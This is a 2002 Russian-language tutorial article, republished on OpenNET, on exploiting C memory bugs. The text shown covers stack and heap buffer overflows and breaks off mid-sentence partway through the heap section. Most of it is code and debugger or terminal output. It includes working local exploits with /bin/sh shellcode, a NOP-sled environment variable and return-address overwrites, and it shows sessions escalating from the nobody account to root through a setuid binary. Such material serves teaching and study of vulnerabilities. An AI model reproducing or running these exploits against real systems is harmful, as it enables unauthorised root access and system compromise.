The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Современные виды системных аттак (security stack lang)


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: security, stack, lang,  (найти похожие документы)
From: CrZ <crazy_einstein@yahoo.com> Newsgroups: http://void.ru/content/1042 Subject: Современные виды системных аттак Modern kinds of system attacks Copyright (C) CrZ [crazy_einstein@yahoo.com] 2002 Limpid Byte [lbyte.void.ru] irc: #limpidbyte (@efnet) Release data: 26/12/02 http://void.ru/content/1042 -----[ attacks ]----- Содержание: 1. Введение 2. Виды атак 3. Buffer Overflow 4. Heap Overflow 5. Buffer Overrun 6. Format String 7. Integer Overflow 8. Common mistakes 9. Полезная информация (ссылки) -----[ 1 ]----- Каждый знает, что в наше время, чем дальше прогресс в информационной и hi-tech сфере, тем больше появляется возможностей альтернативного применения данных технологий..будь то какое-либо устройство, код программы или же что-нибудь другое! Чем дальше человек познаёт то, о чём ранее никто не думал и не исследовал, тем жизнь становится намного интересней и в то же время опасней. В случае информационной сферы, на данный момент уже изведаны и открыты достаточно технологий и методов использования тех или иных недостатков и уязвимостей различных функций и неумелых (неосторожных) реализаций программистов. Я бы хотел остановиться на этом подробней! -----[ 2 ]----- Какие альтернативные методы на сей день известны публике? Какие методы атак применяются? Как это не печально, но большенство атак используют недостатки, особенности или же уязвимости функций какого-либо языка программирования (у каждого языка свои особенности). И уж после этого идёт неумелое обращение программиста с теми или иными функция по следующим причинам: 1) незнание особенно- стей функций 2) невнимательность 3) неопытность в программировании. Особенно всё это приемущественно к языку Си, т.к. именно этот язык богат своей свободой действия, в отличии от того же Pascal'я, где существует ряд ограничений и контроля над теми или иными ситуациями, методами и процессами уже на стадии компиляции, т.е. в паскале, к примеру, очень ведётся контроль (хотя не очень и суровый) за переменными, присекая некоторые возможные попытки аварийного завершения программы: переполнение буфера и т.д. Весь этот процесс контроля уже вшит в процесс компиляции и, в случае какой-нибудь неадекватной ситуации на стадии компиляции, компилятор сообщает программисту о наличии ошибки. Что же касается языка Си, то там данного контроля нет и вся ответственность возлагается на плечи программиста, пишущего программу! Поэтому очень часто программист допускает такие ситуации в своих программах, которые приводят к нежелательным последствиям: будь то простое аварийное завершение или же что-либо ещё. И вот большенство таких "вольных" допущений со стороны программиста могут быть использованы в иных (своих, к примеру) целях. Например, для проникновения в сис-му, краже информации или же чего-либо ещё. То есть все методы атак рождены не только из-за того, что в каком-либо языке допущены какие-либо недоработки в функциях или же их особенности, которые могут быть применены по-иному, но и из-за того, что программисты не знает данных особенностей функций, языка и некорректно реализуют свои мысли в программный код, не учитывая все возможные ситуации в программе. Я предлагаю рассмотреть эти ситуации более менее подробно. -----[ 3 ]----- Данный вид атаки был рождён очень давно, наверное ещё с тех пор, когда мир ещё использовал компьютеры на перфокартах ;). Данный вид атаки заключается в том, что в результате каких-либо действий внутри программы размер данных для той или иной переменной превышают размер отведённой памяти для этой самой переменной..в результате чего часть данных попадает на чужой участок памяти и затерает его соответственно, что может повлечь за собой иной исход работы программы. Вот простой пример данной ошибки (на языке Си, как и в дальнейшем в данной статье):
#include <stdio.h> int main() { char text[10]; strcpy(text,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); return 0; }
Как можно видеть, размер копируемого текста намного превышает отведённого для переменной text. В результате чего будут переписаны чужие данные в жучой области памяти, которая хранится в стэке. Т.е. технология работы функции языка Си (как и многих других) такова: при запуске функции программа работает с переменными посредством стека, сохраняя их в стек, в результате чего при вызове функции программа помещает переменные объявленые в заголовке функции в стек, после чего помещает в стек адрес той области памяти, в которой программа находится на данный момент и перемещается на адрес в памяти, где находится функция: Т.к. стек работает по принципу FIFO (First Input First Output), то его удобно представлять в виде обоймы от автамата Калашникова :): (то бишь при добавлении новых элементов, стек растёт вниз) | | | | | | |_xvarx_| <- далее в стек кладутся переменные по этапно, адреса функций и т.п. |__ebp__| <- базовый указатель при работе со стеком |__eip__| <- адрес той области памяти, в которой программа находилась до прыжк а в функцию |__var__| <- переменные в заголовке функции, т.е. те, что в скобках функции: i nt |x x x x| main(int var1, char var2, float var3, ...) |x x x x| <- какие-то данные, хранящиеся до вызова процедуры |_______| когда оъбём данных превышает отведённое для переменной место, то непомещающийся кусок данных вылезает за пределы адресного пространства переменной и стек будет иметь вид при этом: | | | | |n n n n| <- адресное пространство переменной, куда произошло копирование |w w w w| <- данные, которые не поместились в отведённом для переменной месте, |w w w w| как видно затёрли всё, что находилось снизу (т.к. стек растёт вни з) |w w w w| |x x x x| |_______| в нашем случае всё будет выглядеть так: (я изменил программку так, чтобы она распечатывала 10 4байтовых элементов стека) [root@columbia work]# gcc -o 1 1.c [root@columbia work]# gdb 1 GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... (gdb) br strcpy Breakpoint 1 at 0x8048380 (gdb) r Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34.
Вот наш стек:
4000d9b0 4004e420 401489e4 40016b64 bffffb4c bffffae8 08048471 08049610 080496e c bffffb18 4003a177 00000001 bffffb4c bffffb54 0804831e
где: 40016b64 bffffb4c bffffae8 08048471 08049610 080496ec - данные, что отвелись под наш буффер, здесь 10 байт слева (сразу хотелось отметить, что в архитектуре little endian байты заполяются справа на лево, т.е. <-X<-X<-X<-X , где X - байт): XXXXXXXX XXXXXXXX bfffXXXX 08048471 08049610 080496ec , где 10байт наш буффер... остальная часть идёт как "мусор"..сразу хотелось бы показать как выглядит стек при разных размерах отведённой памяти под какую-либо переменную...в нашем случае под буффер: ----------------------------------------------------------------------------- (ниже байтами 0x66 помечен наш буффер, чтобы его легче можно было найти) вот стэк вот при 2х байтов buffer'a: 666697d0 bffffb28 4003a177 при 4: 66666666 bffffb28 4003a177 при 6: 66666666 bfff6666 bffffaf8 080484b1 080496f0 080497d0 bffffb28 4003a177 при 8: 66666666 66666666 bffffb08 4003a177 при 10: 66666666 66666666 bfff6666 080484b1 080496f0 080497d0 bffffb08 4003a177 при 12 : 66666666 66666666 66666666 080484b1 080496f0 080497d0 bffffb18 4003a177 при 16: 66666666 66666666 66666666 66666666 080496f0 080497d0 bffffb28 4003a177 ----------------------------------------------------------------------------- возвращаемся далее к стеку нашей программки: bffffb18 - ebp 4003a177 - eip 00000001 - argc bffffb4c - argv и так далее
Теперь можно посмотреть на содержимое регистров (точнее нас интересуют ebp,eip) : ... (gdb) i reg ebp eip ebp 0xbffffaa8 0xbffffaa8 eip 0x400a38ba 0x400a38ba как видно они тут малость другие, но они указывают именно на наши адреса в стек е: (gdb) x/x 0xbffffaa8 0xbffffaa8: 0xbffffad8 (gdb) x/x 0xbffffad8 0xbffffad8: 0xbffffb18 Как видно в конце концов ebp указывает на тот адрес, что в стеке (gdb) c Continuing.
Вот наш стек:(уже перезаписан буковками "a" = 0x61 (hex))
080485c0 4004e420 401489e4 61616161 61616161 61616161 61616161 61616161 6161616 1 61616161 61616161 61616161 00616161 bffffb54 0804831e
Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) i reg ebp eip ebp 0x61616161 0x61616161 eip 0x61616161 0x61616161 (gdb) В результате этого дальнейшее развитие событий (исход работы программы) уже будет идти непредсказуемо, т.к. некоторые ячейки памяти были изменены незапланированно. К чему это может привести? Мало того, что может испортиться содержимое переменных, что были объявлены ранее той переменной, куда копировались данные, но и, как отмечалось ранее в стеке так же содержатся адреса тех областей памяти куда программе стоит вернуться после завершения функции... а в результате перезаписи могут пострадать так же и адреса возврата, что приведёт к аварийному завершению программы, т.к. после завершения функции она попытается прыгнуть по тому адресу, что возник в результате перезаписи... и не факт, что программа попадёт туда, куда надо :). Суть данной проблемы уже сама подкралась к нам, то бишь то, как можно этим воспользоваться. Мы можем переписать адрес так, чтобы он указывал на какой-либо машинный код, который предварительно можно поместить в стек, к примеру. И прыгнув на наш код, программа выполнит те действия, которые запрограммированы в коде... что может привести к разным последствиям (обычно, к захвату сис-мы). Вот небольшой пример того, как можно использовать данную уязвимость: наша уязвимая программа, которая просто копирует данные, что переданы ей из командной строки:
int main(int argc,char **argv) { char a[100]; strcpy(a,argv[1]); printf("done!\n"); return 0; }
А вот программа, которая использует данную уязвимость:
char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; long getsp() { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { char buf[501]; long ret; int off=0,i; char *p,*av[3], *ev[2]; char *egg; egg=(char *)malloc(1000); sprintf(egg, "EGG="); memset(egg + 4, 0x90, 1000-1-strlen(shellcode)); sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode); if(argc==2) off=atoi(argv[1]); ret = getsp()+off; printf("shellcode addr: 0x%x, offset: %d\n",ret,off); p=buf; bzero(buf,sizeof(buf)); for(i=0;i<=500;i+=4) { *(long *)(p+i)=ret; } av[0] = "./1"; av[1] = buf; av[2] = 0; ev[0] = egg; ev[1] = 0; execve(*av, av, ev); return 0; }
Наша программа помещает свой код (именуемый как shellcode) в стек, после чего создаёт такую строку, которую передаст уязвимой программе, которая перезапишет адрес возврата на адрес, указывающий на наш код. Вот как это выглядит визуально: [root@columbia work]# gcc -o 1 1.c [root@columbia work]# gcc -o 2 2.c [root@columbia work]# ./1 AAA done! [root@columbia work]# ./1 `perl -e 'print "A"x666'` done! Segmentation fault (core dumped) [root@columbia work]# gdb 1 core GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... #0 0x41414141 in ?? () (gdb) i reg ebp eip ebp 0x41414141 0x41414141 eip 0x41414141 0x41414141 (gdb) q [root@columbia work]# chmod ug+s 1 [root@columbia work]# ls -la 1 -rwsr-sr-x 1 root root 13750 Dec 16 13:56 1 [root@columbia work]# su nobody sh-2.04$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) sh-2.04$ ./2 1000 shellcode addr: 0xbffffca0, offset: 1000 done! sh-2.04# id uid=0(root) gid=0(root) groups=99(nobody) sh-2.04# Данный вид атаки очень прост в реализации, т.к. нам необходимо знать только приблизительный адрес до нашего shellcode и не требует знаний чего-либо ещё. В данном случае программа (exploit) посылает уязвимой программе строку, несущую в себе только адреса возврата и ничего более...в результате чего трудно промахнуться ;). Некоторые же просто передают shellcode вместе с посылаемой строкой уязвимой программе, но я решил, что это излишество и мой пример будет проще для понимания (ибо шеллкод можно хранить и в своей программе в таких размерах, в каких нам захочется и не думать о том, уместится ли шеллкод до того места, где находится адрес возврата). -----[ 4 ]----- Этот вид атаки уже сложнее, нежели тот, что я рассматривал выше, т.к. в данном случае мы имеем дело в heap областью памяти, то бишь эта часть адресного пространства не находится в стеке...и использовать те приёмы, что мы использовали ранее уже не совсем подходят к данному виду атаки. Давайте рассмотрим её подробней: во-первых, стоит замолвить слово о том, каким способом отводится место под переменную в heap пространстве. Для этого существует ряд функций, которые осуществляют данную операцию: extern void_star malloc( size_t ); extern void_star calloc( size_t, size_t ); extern void_star realloc( void_star, size_t ); extern void_star malloc(); extern void_star realloc(); extern void_star calloc(); и тому подобные функции.. каждая функция работает по своему, но суть работы у всех одна и та же :).. особенности и черты описаны в мануале (man). Функции возвращают указатель на начало области памяти, где было отведено место под переменную. После работы с отведённой областью памяти её следует освободить. Чтобы уведомить сис-му о том, что данный участок свободен используются функции следующего семейства: extern void free( void_star ); extern void free(); extern void cfree(); Теперь стоит пожалуй рассматреть для начала простенький пример данной уязвимости (хотя уместней бы здесь сказать, что принцип в данном простом примере основан опять же на переполнении буффера (затерании стека) с небольшим вмешательством принципа связанного с heap), суть которой та же, что и в предыдущей главе - выделяем место под переменную, которого может не хватить, если мы опять попытаемся туда засунуть кусок данных, размер которого превосходит размер выделенных под переменную. Вот один из примеров (ситуаций породить можно много и все они могут быть отличными друг от друга) уязвимой программы (которая к тому же будет распечатывать нам стек, чтобы можно было видеть интересующую нас информацию без gdb):
main(int argc,char **argv){ char *a,b[10]; printf("\n----------------\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %. 8x %.8x\ %.8x %.8x %.8x %.8x\n\ ----------------\n"); a=malloc(2); printf("\n----------------\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %. 8x %.8x\ %.8x %.8x %.8x %.8x\ \n----------------\n"); strcpy(b,argv[1]); printf("\n----------------\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %. 8x %.8x\ %.8x %.8x %.8x %.8x\n\ ----------------\n"); free(a); }
Сейчас посмотрим наглядно что и как происходит: [root@columbia work]# gcc -o 1 1.c 1.c: In function `main': 1.c:6: warning: assignment makes pointer from integer without a cast [root@columbia work]# ./1 `perl -e 'print "A"x666'` ---------------- stack: 401489e4 40016b64 40131c6e bffffaf8 4000d9b0 4004e420 401489e4 40016b64 bffffb5c bffffaf8 080484e1 080496b0 08049794 bffffb28 4003a177 00000002 bffffb5 c bffffb68 08048366 080485b0 ---------------- ---------------- stack: 401489e4 40016b64 40131c6e bffffaf8 4000d9b0 4004e420 401489e4 40016b64 bffffb5c bffffaf8 080497b8 080496b0 08049794 bffffb28 4003a177 00000002 bffffb5 c bffffb68 08048366 080485b0 ---------------- ---------------- stack: bffff9cf 40016b64 40131c6e 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 4141414 1 41414141 41414141 41414141 ---------------- Segmentation fault (core dumped) [root@columbia work]# вот кусок наших данных касающихся переменной b с мусором: bffffaf8 4000d9b0 4004e420 401489e4 40016b64 bffffb5c bffffaf8 далее идёт 4 байта отведённых под указатель - 080484e1 (адрес до того, как мы присвоили ему адрес нового отведённого места в heap, причём этот адрес тоже находится в области heap). После того, как мы выделили кусок памяти размером в 2 байта этот указатель уже начал смотреть на другой регион памяти - 080497b8. Далее...мы производим копирование в буффер b размерностью в 10 байт (на самом же делее более, чем 10 байт, отводится для нашего буффера b) информацию , объём которой значительно больше отведённого для буффера места. В результате чего происходит перезапись нашего указателя,ebp,eip и многое другое :)... Теперь глянем причину аварийного завершения: [root@columbia work]# gdb 1 core GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... #0 __libc_free (mem=0x41414141) at malloc.c:3036 3036 malloc.c: No such file or directory. in malloc.c (gdb) i reg ... edx 0x41414141 1094795585 ... ebp 0xbffff818 0xbffff818 ... eip 0x4009dce0 0x4009dce0 ... (gdb) А произошло следующее, когда мы вызываем функцию free() мы передаём ей параметр, точнее адрес переменной, под которую отводилось соответствующее кол-во байт и которые теперь надо освободить...а этот адрес мы заменили на 0x41414141, в результате чего функция пытается освободить место в памяти, которое вовсе не является heap'ом. Причём, если бы у нас функция free() не вызывалась, то мы бы переписали наш eip без особых проблем, а так мы получаем аварийное завершение программы при вызове free(). Мысль сразу напрашивается к нам: "А что будет, если мы подсунем какой-нить адрес в heap пространстве на это место, чтобы функция free() была спокойна?!". Это действительно обхитрит нашу уязвимую программу: [root@columbia work]# ./1 `perl -e 'print "A"x28'``printf "\xff\x84\x04\x08"``p erl -e 'print "A"x28'` ... Segmentation fault (core dumped) [root@columbia work]# !gd gdb 1 core GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... #0 0x41414141 in ?? () (gdb) Как видно, free() уже более не ругается, если ему скормить какой-нить адрес из heap сегмента (который к тому же должен быть действительным), но зато у нас аварийное завершение программы, т.к. мы затёрли наш eip. Далее можно руководствоваться методом, описанным выше. Вот пример программки, которая использует данную уязвимость: (тут я free() даю тот же адрес, что и должен быть освобождён, чтобы всё шло своим чередом, ибо мало ли...если бы программа была построена сложнее, то могла бы возникнуть ситуация, когда программа лезет к тому участку памяти, который уже освободили, что нельзя делать.. либо же банальный core dumped, если данного хипа нет (не выделен то бишь).. поэтому лучше сразу делать так, чтоб всё было на своих местах)
char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; long getsp() { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { char buf[501]; long ret; int off=0,i; char *p,*av[3], *ev[2]; char *egg; egg=(char *)malloc(1000); sprintf(egg, "EGG="); memset(egg + 4, 0x90, 1000-1-strlen(shellcode)); sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode); if(argc==2) off=atoi(argv[1]); ret = getsp()+off; printf("shellcode addr: 0x%x, offset: %d\n",ret,off); p=buf; bzero(buf,sizeof(buf)); memset(p,0x41,28); p+=28; *((void **)p)=(void *)(0x080497b8); // это наш адрес указателя a, после малока p+=4; for(i=0;i<=3*24;i+=4) { *(long *)(p+i)=ret; } av[0] = "./1"; av[1] = buf; av[2] = 0; ev[0] = egg; ev[1] = 0; execve(*av, av, ev); return 0; }
Вот наглядный пример работы: [root@columbia work]# gcc -o 2 2.c [root@columbia work]# chmod ug+s 1 [root@columbia work]# su nobody sh-2.04$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) sh-2.04$ ./2 1000 shellcode addr: 0xbffffca0, offset: 1000 ---------------- stack: 401489e4 40016b64 40131c6e bffffa88 4000d9b0 4004e420 401489e4 40016b64 bffffaec bffffa88 080484e1 080496b0 08049794 bffffab8 4003a177 00000002 bffffae c bffffaf8 08048366 080485b0 ---------------- ---------------- stack: 401489e4 40016b64 40131c6e bffffa88 4000d9b0 4004e420 401489e4 40016b64 bffffaec bffffa88 080497b8 080496b0 08049794 bffffab8 4003a177 00000002 bffffae c bffffaf8 08048366 080485b0 ---------------- ---------------- stack: bffffba3 40016b64 40131c6e 41414141 41414141 41414141 41414141 41414141 41414141 41414141 080497b8 bffffca0 bffffca0 bffffca0 bffffca0 bffffca0 bffffca 0 bffffca0 bffffca0 bffffca0 ---------------- sh-2.04# id uid=0(root) gid=0(root) groups=99(nobody) sh-2.04# Кстати, должен отметить, что если бы мы копировали в "a", то ничего бы не получилось, точнее мы бы не достигли желаемого результата, т.к. спереди "а" не было проинициализированно ни одной переменной (то бишь не было выделено место спереди "а"). Единственное, что нам бы удалось сделать, так это заполнить весь heap нашими данными и дойти до регистра eax, после затерания которого наша программа завершилась бы аварийно. Т.е. в этом случае, когда копирование идёт (не в стеке!!!) в "чистую" (она забита нулями) область heap, то нам не удастся перезаписать чтолибо, если спереди нет выделенных под что-то мест...кроме как eax. Вот наглядный пример этого: (я взял тот же самый исходник уязвимой программы, что написал выше, только теперь я копирую данные в "а") [root@columbia work]# gcc -o 1 1.c 1.c: In function `main': 1.c:6: warning: assignment makes pointer from integer without a cast [root@columbia work]# ./1 `perl -e 'print "A"x666'` ---------------- stack: 401489e4 40016b64 40131c6e bffff868 4000d9b0 4004e420 401489e4 40016b64 bffff8cc bffff868 080484e1 080496b0 08049794 bffff898 4003a177 00000002 bffff8c c bffff8d8 08048366 080485b0 ---------------- ---------------- stack: 401489e4 40016b64 40131c6e bffff868 4000d9b0 4004e420 401489e4 40016b64 bffff8cc bffff868 080497b8 080496b0 08049794 bffff898 4003a177 00000002 bffff8c c bffff8d8 08048366 080485b0 ---------------- ---------------- stack: bffff9cf 40016b64 40131c6e bffff868 4000d9b0 4004e420 401489e4 40016b64 bffff8cc bffff868 080497b8 080496b0 08049794 bffff898 4003a177 00000002 bffff8c c bffff8d8 08048366 080485b0 ---------------- [root@columbia work]# Как я и говорил, мы не затронули стек в данном случае...ибо наш указатель указывает на сегмент heap, где отведена память. Туда и происходит копирование.. А так как мы выделили в нашей программе место для "a" в самую последнюю очередь, то соответственно была отведена память свободная (в heap'e), что выше расположена.. При этом, если бы мы до этого, к примеру, выделяли память в том же heap'e для каких-либо других переменных, то ситуация бы была та же, т.к. как я и сказал выделение происходит по такой схеме: вот пример программы: ... char *a,*b,*c; ... a=malloc(2); b=malloc(55); c=malloc(100); ... free(c); free(b); free(a); ... заполнение heap региона для этой программы: (заполнение сверху вниз, для удобст ва) _____ |[ a ]| <- начало нашей heap области, где выделяется область для "a" |[ b ]| <- место, отводимое для "b" |[ c ]| <- место, отводимое для "с" | | <- пустое (незанятое) пространство | | Т.е. если мы будем копировать в "a" большой кусок данных, который затрёт чужую область памяти (b,c), то произойдёт аварийное завершение программы при вызове free(). А если же копирование будет осуществляться в "c", то мы можем копировать туда столько данных, сколько нам позволит отведённая heap область, пока не затрём eax ;) Вот визуальный пример: (передадим столько данных, чтобы смогли затереть eax) [root@columbia work]# ./1 `perl -e 'print "A"x6666'` ---------------- stack: 401489e4 40016b64 40131c6e bfffe0f8 4000d9b0 4004e420 401489e4 40016b64 bfffe15c bfffe0f8 080484e1 080496b0 08049794 bfffe128 4003a177 00000002 bfffe15 c bfffe168 08048366 080485b0 ---------------- ---------------- stack: 401489e4 40016b64 40131c6e bfffe0f8 4000d9b0 4004e420 401489e4 40016b64 bfffe15c bfffe0f8 080497b8 080496b0 08049794 bfffe128 4003a177 00000002 bfffe15 c bfffe168 08048366 080485b0 ---------------- Segmentation fault (core dumped) [root@columbia work]# gdb 1 core GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... #0 strcpy (dest=0x80497b8 'A' ..., src=0xbfffe25f 'A' <repeats 200 times>...) at ../sysdeps/generic/strcpy.c:40 40 ../sysdeps/generic/strcpy.c: No such file or directory. in ../sysdeps/generic/strcpy.c (gdb) i reg eax eax 0x41 65 (gdb) Теперь хочу рассмотреть пример сложней (касающийся именно принципа heap непосредственно в чистом виде), когда у нас случай с 2мя heap'ами, которые выделены последовательно и, в тот, что выделился ранее идёт копирование данных, без учёта контроля длины: Предлагаю рассмотреть данный пример уязвимой программы:
main(int argc,char **argv){ char *a,*b; printf("\n----------------\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\ %.8x %.8x %.8x %.8x %.8x %.8x\n\ ----------------\n"); a=malloc(2); b=malloc(2); printf("\n----------------\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\ %.8x %.8x %.8x %.8x %.8x %.8x\n\ ----------------\n"); printf("a=%p, b=%p, b-a=0x%x\n",a,b,(long)b-(long)a); strcpy(a,argv[1]); printf("\n----------------\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\ %.8x %.8x %.8x %.8x %.8x %.8x\n\ ----------------\n"); printf("free = %p\n",free); free(a); free(b); }
Как и было описано выше на элементарном языке heap в данном случае будет заполнен таким образом: _____ |[ a ]| |[ b ]| | | | | Давайте посмотрим, что собственно происходит: [root@columbia work]# !gc gcc -o 1 1.c 1.c: In function `main': 1.c:6: warning: assignment makes pointer from integer without a cast 1.c:7: warning: assignment makes pointer from integer without a cast [root@columbia work]# gdb 1 ... (gdb) r `perl -e 'print "A"x12'` Starting program: /usr/lib/lib.so.6/work/1 `perl -e 'print "A"x12'` ---------------- stack: bffffb3c bffffad8 080484e1 08049710 080497f4 bffffb08 4003a177 00000002 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb4 8 401474dc 400165f8 00000002 ---------------- ---------------- stack: bffffb3c bffffad8 080484e1 08049828 08049818 bffffb08 4003a177 00000002 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb4 8 401474dc 400165f8 00000002 ---------------- a=0x8049818, b=0x8049828, b-a=0x10 ---------------- stack: bffffc5b 08049828 00000010 08049828 08049818 bffffb08 4003a177 00000002 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb4 8 401474dc 400165f8 00000002 ---------------- Program received signal SIGSEGV, Segmentation fault. 0x4009dfb6 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3142 3142 malloc.c: No such file or directory. in malloc.c Здесь видно, что изначально наши указатели имели адреса в heap области такие - 08049710 080497f4. ПОсле malloc(2) им присвоились другие адреса: a=0x8049818, b=0x8049828, b-a=0x10 Причем как видно, разность между адресами 0х10 (16 байт). Первое, что напрашивается в голову - вопрос о том, почему именно такое расстояние между адресами, т.е. почему вместо 2х байт под "а" выделилось 16 байт. Рассмотрим данную программку:
main(int argc, char **argv) { char *a,*b; a=malloc(atoi(argv[1])); b=malloc(atoi(argv[2])); printf("a=%p, b=%p, b-a=0x%x\n",a,b,b-a); free(a); free(b); }
Предлагаю просто понаблюдать за тем, как выделяется память в heap под разные запрашиваемые размеры для переменной "а": [root@columbia work]# gcc -o 3 3.c 3.c: In function `main': 3.c:3: warning: assignment makes pointer from integer without a cast 3.c:4: warning: assignment makes pointer from integer without a cast [root@columbia work]# ./3 1 10 a=0x8049728, b=0x8049738, b-a=0x10 [root@columbia work]# ./3 12 10 a=0x8049728, b=0x8049738, b-a=0x10 [root@columbia work]# ./3 13 10 a=0x8049728, b=0x8049740, b-a=0x18 [root@columbia work]# ./3 21 10 a=0x8049728, b=0x8049748, b-a=0x20 [root@columbia work]# ./3 29 10 a=0x8049728, b=0x8049750, b-a=0x28 [root@columbia work]# ./3 36 10 a=0x8049728, b=0x8049750, b-a=0x28 [root@columbia work]# ./3 37 10 a=0x8049728, b=0x8049758, b-a=0x30 [root@columbia work]# ./3 45 10 a=0x8049728, b=0x8049760, b-a=0x38 Если теперь мы составим распределение в виде таблички, то увидим: Запрос на | Кол-во выделившихся выделение | Байт Н байт под | переменную | ---------------------------------- 0..12 | 16 (0х10) 13..21 | 24 (0х18) 21..29 | 32 (0х20) 29..37 | 40 (0х28) ---------------------------------- Т.е. отводится сразу по 8 байт начиная с рубежа 13 (до 13 сразу же отводится 16 байт) Теперь давайте вернёмся к нашему примеру и попробуем посмотреть, что случится, если мы подадим запрос размером в 12 символов (т.е. у нас 0х00 - конец строки будет 13ый байтом..и мы им должны будем затереть конечный участок выделенного адреса под "а"): (gdb) br strcpy Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34. (gdb) br printf Breakpoint 2 at 0x4007d5e6: file printf.c, line 32. (gdb) r `perl -e 'print "A"x12'` ... (gdb) c Continuing. a=0x8049818, b=0x8049828, b-a=0x10 Breakpoint 1, strcpy (dest=0x8049818 "", src=0xbffffc5b 'A' <repeats 12 times>) at ../sysdeps/generic/strcpy.c:34 34 ../sysdeps/generic/strcpy.c: No such file or directory. in ../sysdeps/generic/strcpy.c (gdb) x/10x 0x8049818 0x8049818: 0x00000000 0x00000000 0x00000000 0x00000011 0x8049828: 0x00000000 0x00000000 0x00000000 0x000007d1 0x8049838: 0x00000000 0x00000000 Вот содержимое 2х буфферов, на каждый из которого было выделенно по 16 байт, причем начиная с 13ого байта, у нас что-то прописано...пока не будем вдаваться в подробности что (мы рассмотрим это строчками ниже), но сразу мысль закрадывается о том, что данная информация помогает функциям malloc()/free() ориентироваться в heap пространстве, разделяя области памяти, выделенные под разные переменные. (gdb) c Continuing. Breakpoint 2, printf ( format=0x8048640 "\n", '-' <repeats 16 times>, "\n\ stack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %. 8x\ %.8x %.8x %.8x %.8x %.8x\n\ ", '-' <repeats 16 times>, "\n") at printf.c:32 32 printf.c: No such file or directory. in printf.c (gdb) x/10x 0x8049818 0x8049818: 0x41414141 0x41414141 0x41414141 0x00000000 0x8049828: 0x00000000 0x00000000 0x00000000 0x000007d1 0x8049838: 0x00000000 0x00000000 Вот мы затёрли 13ым (0х00) байтом ту самую, пока непонятную нам, информацию.. посмотрим, что из этого выйдет: (gdb) c ... Program received signal SIGSEGV, Segmentation fault. 0x4009dfb6 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3142 3142 malloc.c: No such file or directory. in malloc.c Программа завершилась аварийно, т.к. функция free() не смогла правильно определить информацию, которая отводилась для "b" (именно для "b".. это будет показано далее, когда затронется принцип работы malloc'a) Это можно наблюдать используя ltrace: (чтобы удостовериться, что при освобождении "b" у нас происходит аварийное завершение программы) [root@columbia work]# ltrace ./1 `perl -e 'print "A"x12'` ... malloc(2) = 0x08049818 malloc(2) = 0x08049828 ... free(0x08049818) = <void> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ [root@columbia work]# Теперь можно попробовать вернуть на место 11 и посмотреть, что будет: (gdb) r `perl -e 'print "A"x12'``printf "\x11"` ... Program exited normally. (gdb) А теперь попробуем сделать так: (gdb) r `perl -e 'print "A"x12'``printf "\x11\x41"` ... Program received signal SIGSEGV, Segmentation fault. 0x4009ddf0 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3131 3131 malloc.c: No such file or directory. in malloc.c Кстати, перед "а" тоже содержится тот же 0х11 байт, так сказать метка о начале чужого куска данных (или лучше сказать метка указывающая на то, что далее идёт чужая область данных): (gdb) x/10x 0x8049810 0x8049810: 0x00000000 0x00000011 0x41414141 0x41414141 0x8049820: 0x41414141 0x00004111 0x00000000 0x00000000 0x8049830: 0x00000000 0x000007d1 (gdb) Теперь пришло время узнать то, как работают функции malloc() и free(): (если кому-то интересно углубиться в работу этих функций, то они могут посмотреть соответствующие исходные тексты функций) Хмм.. тогда спрашивается, а что такое за 0x07d1, который расположен после всех выделенных кусков под переменные "а" и "b" ?? По всей видимости эта метка указывающая на то, что с этого момента можно выделять новые куски в heap'e под другие 